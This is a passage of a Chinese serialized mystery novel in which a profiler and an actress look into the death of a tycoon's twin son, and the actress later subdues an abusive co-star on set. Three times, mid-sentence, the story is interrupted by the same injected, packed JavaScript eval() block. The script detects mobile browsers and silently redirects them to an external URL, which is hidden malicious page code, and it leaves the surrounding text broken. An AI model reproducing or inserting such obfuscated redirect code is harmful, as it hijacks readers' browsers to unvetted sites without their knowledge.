而这个叫祝晴的姑娘和自家老板多少是有点关系在的,所以即使是在节目嘉宾还没正式敲定的情况下,她就已经有把握那人选非自己莫属了。 至于实际…… 池观月了然一笑:“这个啊,估计马上就能知道了。” 从电梯那通电话就能看出来,那姑娘的全部心眼估计也就那么多了。 至于自家老板那只老狐狸…… 那可就未必了。 “啊?”不知道前情的丁璇一脸茫然。 池观月扫一眼时间,起身轻轻拍了拍丁璇的手,低声道:“我先去后台准备,待会儿晚宴见。” “好。” “下面有请本次颁奖典礼主办方负责人夏延裕先生、音乐剧演员池观月小姐,为年度最佳男歌手颁奖!” 仅仅只有一天之隔,池观月心想这下也算是终于和这位传说中的男二正面打过交道了。 面前这个笑得阳光开朗的家伙,完全没有一点先前工作人员吐槽的自大的影子,和印象里楼道匆匆对视过的那一眼也截然不同——他接过鲜花和自己对视时的神态,甚至让池观月有种魔鬼尾巴在他身后甩来甩去的错觉。 不错,这么一看,这小子起码是有点演员天赋在的。 顽劣得一看就不是个省油的灯。 而此时台下的周澄则是满脸的不可思议:“前天晚上那位……居然是个明星?” “没事,你们村下周就通网了。”何将醉出声安慰。 “不过这为人父的,好像并没有我想象中的悲伤。”周澄看着台上的夏延裕若有所思,“不过不是说‘商人重利轻别离’吗,也没准他就是这样。” “不好说,也有可能是因为不是被动的别离。” 周澄看了身旁人一眼。 何将醉注意到夏延裕邻座身着优雅长裙的身影已经离席许久,于是扭头给周澄递了个眼色。 周澄反应也快,马上把手机拿出来扫了一遍同事发给他的所有同步信息。 “走吧,看来另外一位提前回家了。” “这里呢?”周澄问,“咱俩谁留下盯着?” “都不用,有比我们更合适的人选。” 5. 笑面人 五 何将醉和周澄驱车抵达目的地时,原本就在夏家的警察正有条不紊地进行着各自的调查工作。 夏远宸的妈妈先他们几步到家。许是担心原本只有夏远鹤一个人在家不安全,孩子的舅舅和舅妈也抽空来夏家陪伴左右。 夏远鹤和弟弟夏远宸是双胞胎,由于兄弟二人的年龄都比较小,平时饮食起居也是形影不离,所以父母二人选择把两个孩子安排在同一个房间里住,互相也好有个照应。 何将醉以外聘侧写分析师的身份已经协助市局刑侦支队破获过不少案子了,自身实力再加之支队正副队长的认可,让周澄手下这帮人每次看见何将醉都像看见神仙一样,整个支队的人也都把他当成了自己团队中的一分子。也正因如此,周澄经常嚷嚷他这个“编外人员”的地位一度有要赶超自己的趋势。 周澄负责留在客厅和夏家的几位进行一些简单询问,何将醉则在其中一位警察的带领下进了被害人的卧室。 不同于这个年纪大部分的孩子那样调皮捣蛋把玩具扔得到处都是,屋里除了床铺保持原状,其他的一切都被收拾得井井有条。 两个孩子住的是上下铺,哥哥住在下铺,弟弟住在上铺。床和屋内其它家具的材质保持一致,均为实木材质。整个房间的设计风格统一,墙壁被粉刷为淡淡的蓝色,看起来十分舒服。 “孩子的妈妈说这床是两个孩子自己选的,男孩嘛,喜欢爬上爬下的也正常。” 何将醉点头应了一声,低头看了一眼下铺:“床单呢?” “说是脏了拿去洗了。” 然而上铺的被褥反而是凌乱地摆在那里,没有被整理过。掀开被子,床单上有一小滩清晰可见的尿渍。几个玩偶被放在了枕边靠墙的位置,还有一个毛绒兔子孤零零地躺在床边。 何将醉戴上手套,将几个玩偶仔细对比了一下,发现床边的这个明显比另外几个要旧不少,水洗签上的字迹也因为多次清洗而变得有些模糊了,看得出玩偶主人平时最喜欢的应该就是它。 然而最让孩子爱不释手的这个,白色毛绒的部分却明显脏了一大块。 旁边的刑警跟着探过头来看:“长绒毛根部是干净的,看着像是沾了层浮土。” 何将醉:“侧面问一下家属,被害人平时最喜欢的玩偶是哪个,如果是这个的话,说明这块污渍很有可能是在被害者遇害后才有的。” “好,”刑警点头记下,“如果是这样的话,那说明这个东西应该是被人动过的?不过这点好像也派不上什么用场啊。” “两张床上被褥的纤维取个样,和这个玩具上的对比看看。”何将醉又蹲下身用手指蹭了蹭脚下的地毯,抬手凑近看了一下,“这地毯也取个样吧,一起对比。” 这下接手的刑警敏锐地觉察到了些什么,妥帖地收好玩具完成屋内的取样工作后,小心地避开夏家的几位家属,动作迅速地找被换洗的床单去了。 虽然是双胞胎,但细微的生活痕迹表明兄弟两人性格和爱好的差异已经初见端倪。从现场掌握到的线索来看,两个孩子应该是哥哥喜静、弟弟好动的。 何将醉关上衣柜门,站在卧室中央环顾房间时,扫过墙壁的视线突然一顿。隐约感觉没有家具遮挡部分的墙壁并不是均匀的蓝色,于是他走过去对着墙壁俯身认真观察了一番。 是铅笔涂鸦又被橡皮擦掉的痕迹。 涂鸦内容是常见的小孩子抽象派大作,很难迅速从这痕迹中分析出什么,更加无法确定是否能从中获取到与本案有关的信息,因此何将醉只得按距离远近分别拍摄了几张不同的照片,打算留个底带回去再看看。 眼看这个房间里暂时没有内容可供继续挖掘以后,何将醉顺着方向又观察了一遍其他几间屋,在夏家夫妻二人的卧室里还有意多停留了一会儿。最后他顺着楼梯下至一楼客厅站定,并没有没着急走向人群——这个位置刚好可以看到和周澄面对面的夏家几人各异的姿态。 由于在发现并确认被害人身份后的第一时间就对家属进行了调查,其实该了解的内容先前就已经了解得差不多了。所以今天来夏家之前何将醉就已经跟周澄定好了——不同于常规的询问模式,聊的内容也不是重点,这次的主要目的就是尽量让夏家人聚在一起和他进行对话。 因为在人多的情况下,不同人物之间的深层关系往往更容易体现出来。 孩子的妈妈和他们预料的一样,悲伤不已情绪持续游走在崩溃边缘,对问题的反应速度也很慢——褪去公开场合里光鲜亮丽的外壳,此时低头捂脸啜泣着回话的她反倒多了不少烟火气。 孩子的舅舅坐在她的左手边,时不时地帮助她回复一些周澄的提问。 而坐在她另一边的小男孩,看样子应该就是被害人的双胞胎哥哥夏远鹤了。 大人们之间的谈话内容,对于孩子来说似乎还不能完全理解。男孩姿势有些蜷缩地坐在妈妈的右手边,紧抿着嘴,一脸担忧地盯着妈妈。上扬的眉头、再加上相较于平时睁得更大一些的眼睛,这一切都说明了孩子此时被不安和恐惧占据的内心。 悲伤氛围的影响极大,夏远鹤攥紧手,不让自己的眼泪跟着一起掉下来。舅妈则坐在孩子旁边搂着他轻声安慰。 何将醉靠墙对着这一幕静看半晌,最后拿出手机给周澄发了条消息,简单说明完自己这边的情况以及对他的提醒后,他道了句自己还有事便先走一步了。 出门的时候天几乎完全黑了下来,驱车将近半个小时后,刚好同时到达咨询室门口的两人看着对方一愣。 池观月挣扎着说出了自己最不想面对的那种情况:“我的那个……新换的心理咨询师……该不会……” 何将醉:“……是我。” 池观月进屋之后足足愣了半天,最后冒出一句:“没想到你还有这本事呢。” 听昨天那通电话里的助理说,新任咨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978280|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询师已经和上一任做好交接工作了。 毫无缘由的密集交集很难完全用巧合解释,而“游刃有余”又一向是以对全局的掌控作为基础的,当下复杂的关系和情绪叠加在一起,池观月不免对面前的人陡然警惕起来。 毕竟来接受心理咨询这事并非是她自愿的,几天前漫野里他和胡锐对话那幕此时也重新浮现在她脑海里…… 面前这个人,对她到底了解到什么程度了? “学的心理,在医院里待过一段时间,后来觉得还是单干适合我,自由。”何将醉一句话简单地概括了此前的职业生涯。 “……挺好。”池观月也不知道说点什么好,便赶紧换了个话题,“那什么,你让我帮你的那个忙——咱们先说这个吧。” “可以。”何将醉倒了杯温水,俯身轻轻放在了池观月面前的矮桌上,然后转身坐在了她对面。 池观月的表情明显是对这杯水颇有微词,她脱口道:“有没有——” 话刚开头,池观月才意识到今时不同往日,于是赶紧就此刹住。 “你从今天开始禁酒,”何将醉先一步看穿了对方的用意,“睡眠质量都差成那样了,还喝呢?” 啧,这医生还挺凶。 看来上一任咨询师工作交接得还真是挺彻底的。 帮人帮到底,过了今天就跑路,大不了再换一个。 池观月从善如流地止住了试图反抗的话头,调整了一个相对舒服的坐姿,向后深陷入沙发里。 “颁奖礼后台候场的时候,我跟夏延裕简单聊了几句,外加后续晚宴上我也认真观察了一下——他这个人,私下里的行事作风跟台面上看起来的那个人设一样,这方面没什么特别的……” “人设?”何将醉点出了这个别有含义的选词。 “客气有礼貌,又带了点克制,他看起来不就这样?不过这也是他这类型人的标配属性了,实际什么样还得另说。”不打算继续说出何将醉拜托她问的问题,池观月只把话说了一半,剩下的部分则用来钓鱼,“如果想知道他和平时有什么不同,那至少应该让我知道他平时是什么样的,以及,发生了什么样的事情,会让你觉得他本应该有所变化。” 合情合理的前提条件,从她调整坐姿开始,何将醉就知道她内心里已将自己置于优势高地了。 在意识到自己有可能和对方产生更多的联系之后,她一改原先无条件交换帮助不多过问的模式,开始化被动为主动地获取信息、掌握主动权。 何将醉突然难得地有了种棋逢对手的感觉。 “他家里发生了一些变故。”依然是没什么情绪起伏的平和状态,何将醉只给了她一点线索,想看看她到底都能看出些什么。 池观月笑了:“心理学很好,可如果何医生学的是犯罪心理学的话,我会有点害怕。” “可我怀疑的是他。” “可你观察的是我。” 6. 笑面人 六 对彼此坦诚,是高效合作的第一步。 隐约的针锋相对没持续多久就收场了,给两人留了些玩味的余地。 在提前跟周澄那边打过招呼的情况下,何将醉把案件内容跟池观月作了大致说明。 “他的口碑和事业能达到如今的程度,多少也能说明他的自控能力不一般——该怎么形容呢……喜怒不形于色?至少给我的感觉是这样的。”池观月不解,“但即使是这样,也真的有人能做到在孩子遇害后,依然这么冷静平和地去参加活动吗?” “根据了解到的信息来看,他属于那种工作狂的类型,一门心思都扑在事业上了,这种人对维持社会关系会十分看重。” “那应该不怎么顾家吧?” 何将醉不置可否,静静等待她的下文。 “我和他在后台聊了几句。先是工作,然后是家庭。聊到孩子的时候,他的描述明显变得模糊了。有可能是在隐瞒什么,也有可能是真的知道的太少了,没什么可说的。” “这人既不贪杯,也不沉溺于女色——至少晚宴的时候他表现出来的是这样的。以这个圈子的环境来说,这种活动的实际含义几乎是人们心照不宣的——是个挖角、拓展人脉以及找金主的好机会。以夏延裕的身家,无论男女,想巴结他的人都太多了。整个晚宴他都呆在人们的视野中心,和每一个前来寒暄的人有说有笑。如果非要说有什么特别的地方的话……对了!戒指,他和别人对话的时候经常会去摸左手戴的那枚婚戒。” “他面对所有人都会有这个动作吗?” “好像不是,基本上是和女性对话的时候才会有这个动作,但是在后台和我聊天的时候没有。”池观月想了想,继续补充道,“关于孩子的话……一般来说,如果家里有两个孩子的话,小一点儿的那个孩子往往会得到大人更多的关注和宠爱。如果两个孩子的年龄差比较大,那大一点的那个也许会稍微理解一些。但终归都是孩子,心里多少都会有些不平衡的——这是我的想法。” “嗯,是这样没错,”何将醉点头表示认可,“那关于这一点,你有类似的体验吗?” 何将醉试图从她的背景经历里寻找案件相关灵感。 池观月也不兜圈子,耸耸肩坦率道:“我们家整体来说比较平等吧,虽然我这个当妹妹的在这方面好像没什么发言权。” “和姐姐的关系怎么样?” “还挺好的吧。我俩小时候性格不太一样,她喜静我喜动,我犯事有她护着,她被人欺负有我护着,有什么好东西都会记得给对方留点——挺好的。” 描述的时间,好像都被微妙地定格在了小时候。 “各自遇到问题的话,比起向父母倾诉,会优先选择和对方聊聊吗?比如工作之类的。” 池观月缓缓摇了摇头:“还没有机会聊这些……在我们小的时候,她就去世了。” 除了池观月坚持要的自由自在的日常生活,她的外公凭自己所能为她提供了许多保护——池观月自身和彭家以及和外公的关系,都被很好地隐藏了起来,几乎只留下了池观月自己打拼出来的音乐剧演员身份。 以那老头的保护程度,池观月甚至一度怀疑他是不是得罪什么大人物了,以至于和他扯上关系的人随时都会有被暗杀的风险。 不过也正因如此,除非池观月自己愿意主动聊家里的人和事,否则仅凭调查,外人几乎无法了解到任何有关她的详细信息。 摆出来给其他人看的,都是她想让他们看到的而已。 这倒也没什么不好,眼下接了个新戏,万一自己哪天火了呢,正好省得狗仔扒她家底爆料了。 容易让人不知所措难以接话的内容,由池观月主动做了个了断:“听你这意思,好像有重点怀疑对象了?” “一般都是先从家人开始调查的,只不过夏家本身似乎就有很多疑点。” “嗯……”池观月点点头表示认可,突然间想到了什么,“录像要吗?颁奖典礼和后续晚宴的,不过估计顶多只能看见个人动线,太细的拍不到。” “还有附加情报?”有了总比没有好,何将醉难得地露出了些意外的神色。 “得让你多欠我一个人情,”池观月把他先前的话原封不动地还了回去,起身绕过桌子走向何将醉,“主要也是那人表现得有点过分正常了,我也不是专业的,没法提供太多有价值的信息,就当弥补一下——一句话的事儿。” 一句话支使彭焕的事儿。 “那谢谢了,大概什么时候能拿到?” 池观月越走越近,何将醉坐姿不变,抬头看着她。 “明天估计差不多,”池观月靠近他身旁站定,“到手就给你。” “条件?” “挺上道啊小伙子,”池观月一笑,“那就……之后给我讲讲后续发展吧——如果可以的话。” 何将醉有些意外,起身一掸衣褶:“还以为你会考虑换个咨询师呢。” 池观月眼含笑意抬手缓缓帮整理了一下衣襟,并没有对这个问题给出什么回复,只在片刻后转身潇洒地摆摆手:“走了,正式咨询改日再议吧。录像我拿到手就给你,会尽快的。” 第二天收到录像的时候,何将醉正在市局会议室里和周澄讨论案件调查进展。 “现在日常一直戴着婚戒的人感觉不太常见啊,”周澄支着下巴,盯着白板上密密麻麻的信息皱起眉头,“说明他是一个挺重视家庭的人?” “至少他想让别人眼中看到的他是这样的。”何将醉边说边连接会议室里的投影设备,“抬个手,投影电源开一下。” 走了两步打开电源,周澄索性直接站在原地看向大屏幕。 “这是什么?监控?” “昨天颁奖典礼现场和后续晚宴现场的录像。看这几个视频的角度,应该是参与活动的公司固定机位,先看看能不能发现点什么吧。” 录像里的夏延裕始终待在人群中央和前来搭讪的人谈笑风生,隐约的小动作也一如池观月所说的那样。 由于镜头并不是很近,所以如果不是池观月说了他摸的是戒指,这个距离很难看到这样清晰的细节。 除此之外,夏延裕似乎并没有什么特别的举动。 “但是说实话,我总觉得这夫妻俩关系并不是很好。”周澄转头对何将醉突然来了这么一句。 “怎么说?” “昨天去他们家调查的时候,我发现每当问到关于孩子抚养教育之类的问题,孩子妈妈回话的主语基本都是‘我’。比如‘我每天几点给孩子们做早饭’、‘几点去接孩子放学’、‘前一天我带孩子们去了哪里’、‘最近孩子们在我面前没有什么异常的表现’等等诸如此类的回复。”周澄看着自己记录询问内容的笔记本,皱起眉头,“如果两个人共同参与了孩子的生活且关系和睦的话,更强调的不应该是‘我’,而是‘我们’。” “没准又是一个‘丧偶式育儿’的家庭。”何将醉倒没表现出太多意外,“丈夫很少在家住,妻子反而是日常起居都在家和孩子们一起的,这一点从他们的卧室里就能看出来。至于夏延裕那个下意识反复摸戒指的动作,更像是一种自我暗示——有些事并非单纯是他不想做,而是他内心在权衡利弊得失。” 何将醉回忆起池观月提到的一点——她在和夏延裕对话的时候,对方并没有出现摩挲戒指的动作。而以此作对比,其他大部分和他进行对话的女性都让他下意识做出了这个动作。 “和他搭话的那些异性应该都或多或少暗示了些什么,才会让他有摸戒指的动作。从结果来看,他觉得还是维持当下在大众面前展现出的家庭幸福的样子对自己更有帮助。那些人对他来说,需要他帮的多,真正能帮他的几乎没有。” “我们今天也面对面和夏延裕聊过来着。怎么说呢,他的回复和肢体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978281|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语言都让我有种挺官方的感觉。” “妻子对于孩子的事的悲伤比较真实。一向把家里收拾得井井有条的人,唯独没有换掉被孩子弄脏的床单,反而是清洗了另一个——” 在确定了夏远宸的身份后,夏家倒是对警察的调查工作十分配合,主动将夏远鹤安排在了其他房间,尽可能地保持了原房间原来的状态。 开了静音的手机屏幕突然亮起,周澄示意自己先接个电话。 “喂?嗯你说……行我知道了,我转告他。”挂断电话的周澄看向何将醉,“你让人取样对比的纤维结果出来了,玩具上沾有一定量的地毯上的纤维,除此之外暂时没检测出其他的。” “接着说刚才的,上铺夏远宸的床单上有一小滩尿渍,可是没有被换掉,反而是下铺哥哥的床单被换掉了。”何将醉拿笔敲了敲桌面,“你怎么看?” “你是怀疑——”周澄的表情逐渐转至震惊。 “你还是打住吧,一看就知道你脑子里现在想的东西和你表情一样离谱。”何将醉及时止损,换了个问题,“你对夏家那几个人分别的印象都是什么?” “哥哥的性格好像比较内向,没什么话——不过这点确实也有年龄的因素在,孩子全程表现出来的紧张和畏惧的情绪更多,视线也一直跟着她妈妈袁雅走。孩子妈妈则是一直在掉眼泪。除了我前面说过的问题,整体上她倒是挺配合的。舅舅和舅妈每周都会来夏家聚一下,因此对他们家的事情也比较了解。事发当天两家人还一起聚会来着,他们当时去过的地方的监控可以证明。昨天的询问过程里,舅舅负责补充说明,舅妈负责安慰孩子。也就这些了。” “补充说明……”何将醉一顿,“再怎么说也不是真正的一家人,夏远宸舅舅为什么这么有自信地出来解答关于夏家的问题?一般人不是应该对这种事避之不及的吗?” “好事的人也不少,他本身也确实是有点自大倾向的那种人,”周澄边说边在本上记了一笔,“有关他的内容,我会派人继续查查。” 何将醉思考片刻:“还有一点就是,袁雅的悲伤是真的,但是她有所隐瞒也是真的。” “为什么?因为他们夫妻二人不合?” “不止。”何将醉神情严肃地一摇头,“无论是先前的询问还是这次对话,你的目的是想缩小范围确定凶手,是来帮他们的,并不是狗仔挖新闻想爆料,但袁雅在接受询问的全程都有一些撒谎隐瞒的特征表现出来——比如对问题的反应和答话速度、经常用手遮脸捂嘴等等。所以说有什么事是她在回答你的问题的时候,害怕自己无意识说出来的。这件事很重要,可能在某些方面起决定性作用,甚至推翻我们目前已经掌握到的这些。” “这一家人……没什么突破口啊。” “关于这方面,我可以提供一个思路——你们可以再深挖一下被害人自己家和舅舅一家之间的关系,很有可能并没有表面上看到的那么简单。” 周澄想了想:“再加上他们两家之间的借债关系,‘债主’默许对方参与自己家事、让其充当自己的‘发言人’的这种行为,也确实有些反常。” 何将醉换了个问题:“报案人什么背景?” “报案人一家是当天去那附近野营然后发现的。” “他们一家人和夏家有什么联系吗?” “哦对,报案人是夏氏集团的员工。”周澄点了根烟,翻看着电脑里录入的信息,“报案人一家最近和夏家并没有什么交集,电话记录什么的都查了。不过毕竟是一个公司的,工作上多少会有些沟通,想见一面倒也不是难事。” “去查一下这家人为什么会选择那个时间去那个地方野营吧,单纯突发奇想的可能性不大。如果说是朋友推荐,那就具体到人。顺便——”何将醉起身,“侧面问问报案人,夏延裕和袁雅在公司有没有什么经常接触的人,助理秘书一类的也算,了解得越多越好。” 7. 笑面人 七 “当当当” 有人轻轻敲了敲休息室的门。 “进。”池观月正低头在剧本上标注释,并没有抬头看来人是谁。 “请问……”一个女孩抱着一束鲜花站在门口小心地环顾一圈屋内,看样子应该是在找人。 听到这开场白,池观月放下手里的剧本往门口看去——饶是她这种脸盲记不住人的人,也一下子认出来这进屋的人是谁了。 这不是祝晴吗。 电梯里“有幸”旁听到了这届初生牛犊完全不怕虎的嚣张言论,再加上她和公司老板那层不可说的关系,池观月当下对这个看似恬静美好的女孩实在没多少好感。 不过毕竟对方也没作妖作到她面前,表面上过得去就可以了。 女孩在看见对方抬头之后,显然一眼就认出来她是谁了,立刻热情地打起招呼来:“观月姐好!我叫祝晴,是万象公司签约的新人歌手!” 池观月象征性给出一个友好的微笑,走过场跟对方寒暄了几句后问道:“是在找人吗?” “啊,对……助理说泽亦哥在休息室,所以我就找过来了,结果好像走错屋了……” 泽亦哥? 哦,想起来了,那个大明星男二秦泽亦。 今天是他来剧组报道的第一天,看来这是粉丝追星追到这儿了。 祝晴的年龄看起来确实不大,然而言谈间她却并没有多少这个年纪和阅历该有的青涩,话术反倒和她的声音一样糖分含量极高。 尤其是在了解了前情以后,面前这个姑娘表现出来的谦逊还真让人不知道到底兑了多少水。 池观月其实也不知道这都快开拍了那魔鬼又跑哪儿去了,眼看着祝晴的心都已经飞出去找人了,她也无意多留,应付几句后就放祝晴走了。 “她怎么来咱们这屋了?”刚换完衣服进屋的丁璇诧异地回头看了看祝晴离开的方向。 池观月翻看着剧本调侃:“来找她的泽亦哥的,没找着,走了。” “好家伙,”丁璇打了个冷战,“不过这个秦泽亦进组刚第一天就让团队所有人都提心吊胆的,我刚才看导演也在到处找他呢,找不着人影还一脸的敢怒不敢言——我还是第一次见导演那个表情。” “没办法,名利和舒坦日子不可兼得。他们自己挑的人,只能自己宠着了。” “不过话说回来,祝晴应该也算是粉丝里的成功案例了,这都能近距离追上星了。想当初咱们上中学追星那会儿——那得六七年前了吧,那时候哪敢想有一天能——” 池观月指指自己:“你看看我,我也是个成功案例啊?” “啊?我怎么不知道你还追星成功了呢?谁啊?”丁璇嗅到了八卦的味道,好奇地凑过去追问。 “你啊,我可是从小看你演的电视剧长大的。小时候在空间里炫耀自己有你Q号的帖就是我发的,别的小朋友都可羡慕我了……哎哎哎,有话好好说,怎么还动手啊!” “我看你是脑子不太清醒——”丁璇顺手抄起一旁不知道谁放在桌子上的玩具塑料气锤,追着池观月就要开打。 正好这时方一尧推门进来,池观月连片刻犹豫都没有,一把拽过他挡在自己身前。 方一尧无奈地扭头看着身后惊魂未定的人:“第一集的服装配饰造型师给你了吗?” 池观月扬起头一脸茫然:“没有啊。” “那我去问问,让他们拿过来。” “算了,我自己去吧,省得再废那个话耽误时间了。”池观月拉住转头就要出门方一尧,“衣服放哪儿了?” “就在隔壁。不过我刚才拉了一下隔壁的门发现被锁了,钥匙应该是在造型师那儿……” 方一尧仔细一看才发现,他们现在待的这个屋和旁边房间原本似乎是个连通的里外间设计,两间屋之间的隔断处设了个门,可以不经过走廊直接过去。只不过这间临时的休息室里堆放了大大小小的拍摄用道具,显得这扇门并不起眼。 方一尧指了指门:“就在那屋里呢,造型师都分好类了,应该挺好找的。正好你能从这直接进去。” 池观月二话不说,绕开地上的纸箱推门直接进去,顺手还把门给带上了。 空间小东西多,衣架上一排排花里胡哨的服饰道具看得她眼花,一眼还真分不出来自己要拿的是哪个,池观月只得伸手推了推衣架,方便腾出点空间凑近仔细看衣架上的标签翻找。 金属支架在地面上摩擦出了刺耳的声音。 “草,我他妈不是让你出去吗,怎么还在这儿吵我睡觉!” 不耐烦的声音毫无预兆地响起,直接把正在全神贯注找东西的池观月给吓了一跳。 这屋里居然还有别人? 池观月顺着声音传来的方向探头从衣架间隙望了一眼,瞬间就认出了沙发上那个正试图闭目养神的炸药桶,正是导演到处苦寻无果的秦泽亦。 这是今天的第二次,她有了自己脸盲症被治好了的错觉。 今天这场戏的取景地是在室外一个近乎荒郊野岭的地方,环境条件只能凑活将就,拍戏的话,这种情况其实是再常见不过的了。 但从秦泽亦的反应来看,他倒是真像个来修炼的,一副快憋屈死了的样子,为了躲个清净都跑到储物间来了。 他这一嗓子,让池观月刚才的好心情一下消散了大半。 她挑眉强行压下一口气,无视了对方的存在。 池观月自认为自己不是什么好脾气的人,尤其是对这种连自己分内事都做不好的人就更没什么忍耐力了。然而此时的她只想赶紧找完衣服好腾出时间再对一遍词,不想节外生枝起冲突。 至于他——就让他自己一个人在这屋里自生自灭吧。 历经一通翻找,池观月终于找齐了自己的衣服。要拿的零碎东西实在有点多,又怕服饰上细长的装饰带拖到地上,池观月只好把带子往手臂上松垮地缠了几圈。 正当她抱好东西准备离开的时候,沙发上的人刚好因为持续的窸窣声响忍无可忍地再次发起火来。 “你他妈听不懂人话是吧——”伴随着暴怒的声音,似乎有什么东西被他用力扔了过来,“不想干了是吗!滚出去!” 彼时的池观月正扎在衣服堆里,并没有足够的空间和时间看到飞过来的东西是个什么动线,只能被动地看着一个玻璃制品在自己脚边应声而碎,锋利的碎片顿时飞溅得到处都是。 池观月心想还好这准度不怎么样,这要是砸在脑袋上不得直接被开瓢。 紧接着她就听见不远处那人大步迈过来,伸手试图把衣服堆里的人一把拽出来。 池观月悄无声息地把怀里的东西搭在了衣架的横杆上,拨开层层叠叠悬挂着的衣服,稳准狠地一把攥住了秦泽亦的手腕。 秦泽亦被对方突如其来的动作弄得一愣,诧异间伸出的手还没来得及收回来,就被人攥住手腕用力扯了过去。慢半拍的反应让他直接失去重心,膝盖后再被对方勾腿顺势一带,下一瞬他直接被反手按在地上动弹不得,脸边再近一寸的位置就是那堆玻璃碎片。 秦泽亦处于半清醒状态的意识一下子就被恐惧给吓精神了,开始慌乱地拍打挣扎起来。 她慢悠悠地低声警告:“不想破相的话就别乱动。” 池观月不得不感叹,自己小时候还是没白在部队大院里到处乱窜的。 同院的都是一群身手不凡的叔叔阿姨,再加上池观月本身又乐于学这些东西,因此她没少跟在这群大人身后“拜师学艺”。光是他们教的那些基本招数,就已经足够她从小到大应付大多数人的了。 更何况她长大成人后也依然没丢了这些本领,时不时的还会找教练再学点新东西练练手,这些让她对付一个浑身上下顶多有点观赏性肌肉的秦泽亦来说,着实是绰绰有余了。 单膝抵住他的后背,池观月干脆利落地用手臂上缠着的带子把秦泽亦的两只手从身后捆住,紧接着一把抓住了他蓬松微卷的头发,把他脑袋按在了地上。 正是这大多数人难以驾驭的微长卷发,给他这张本就漂亮的脸更添了几分游离于性别之间的美。 当然,当下也给了池观月控制他的机会。 池观月心说自己刚才差点被他闷头那一下给砸得满脸桃花开,她没把他头发薅下来一把就已经够手下留情的了。 “你可真是……太招人烦了。”池观月冷眼看着身下的人,“要不是待会儿你还得上镜,我非得让你长点记性不可。” 秦泽亦虽不敢动,但嘴上却依然不肯示弱:“你、你谁啊你,居然敢对我——” “居然敢对你什么?你现在站起来出去顶多身上沾层土,说你挨了顿打有人信吗?或者说,你丢得起这个人吗?堂堂一当红大明星,被一个女生给打了一顿?”池观月拿准了这人的命门就是那一身没什么用的傲气,于是借此威胁起来既过瘾又奏效,“你这张嘴要是再敢胡说八道,我就把你挨打这件事彻底变成真的——别人对你有忌惮,我可没有,收拾你一顿正好就当为民除害顺便积德了。” “你——” “怎么着,现在就迫不及待地想试试脸滚玻璃渣?” 秦泽亦挣扎不成,闻言下意识倒吸了一口冷气。 “怕了?怕什么啊,乱扔东西发脾气的时候不是挺横的吗?”池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978282|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观月声音不大,但每个字都极有压迫感,“马上就要开拍了,不提前跟其他演员串场对词也就算了,躲这儿撒野给谁看呢?所有人都活该迁就着你、为你一个人服务是吗?” 原来是那天电梯里和颁奖礼上见过的人,秦泽亦终于反应过来自己身后的人是谁了。 “我告诉你,这剧没了你照样能拍,地球没了你也照样能转,别太把自己当回事了。想当祖宗被人供着那就趁早回家,出了你家那扇门就老实点。再让我看见你不知道自己几斤几两到处找茬给大家添麻烦,可就不只是被我按地上听我这几句话这么简单了。” 池观月起身睨着怔愣间没有动弹的人:“听懂了吗?” 也没指望这人能给她什么回复,反正他也没什么别的选项可选。 顺手扯下绑在秦泽亦手腕上的细带,池观月头也不回地向外走:“第一场有你的戏份,别迟到。” 漫野二楼的包间里,周澄和同事正与一名女人相对而坐进行询问。 “是我先发现的。本来一家子一起出来玩挺开心的,哪能想到会看见……”女人仍是一副心有余悸的样子拍了拍胸口,迟疑着没说出那两个字,“那孩子也挺可怜的,才那么小。” 女人很容易就把自己代入了母亲的角色,不禁联想到了自己的孩子。 周澄点点头:“你们野营挑的那个位置挺偏僻的,怎么想到要去那儿的呢?” “我爱人前阵子买了一套野营用具,一直想带着孩子一家人出去感受感受大自然——我也是刚入职夏氏集团,我和我爱人平时工作太忙了,对这些了解也不多,这地方还是我上司推荐给我的。” “确实,夏氏是个大公司,平时工作应该不少。”周澄接着话茬,没有选择直接追问她的上司是谁,而是顺势问道,“那在公司里您大致都负责什么工作呢?” “我的岗位架构属于公司总裁办,说白了其实就是直接为公司领导层服务的,领导那些大大小小零碎的事情都由我们这个岗负责,跟秘书差不多。” “这样啊,那日常应该经常能见到夏老板?” 女人摇了摇头:“只是和公司业务相关的内容由我们负责,偶尔需要高层——尤其是老板进行审批的内容。如果他们刚好没空的话,我们也会帮忙推进流程,但都是些表面的。平时和老板接触最多的还是冯盛,老板私人的事情会交由他处理。不过最近这段时间我几乎没怎么在公司见过他。” 可谈的内容也就只有那么多而已,因此对话持续的时间并不长,很快便结束了。 在周澄先后送走那名女人以及自己的同事之后,房间内有一侧的装饰墙壁突然动了动。 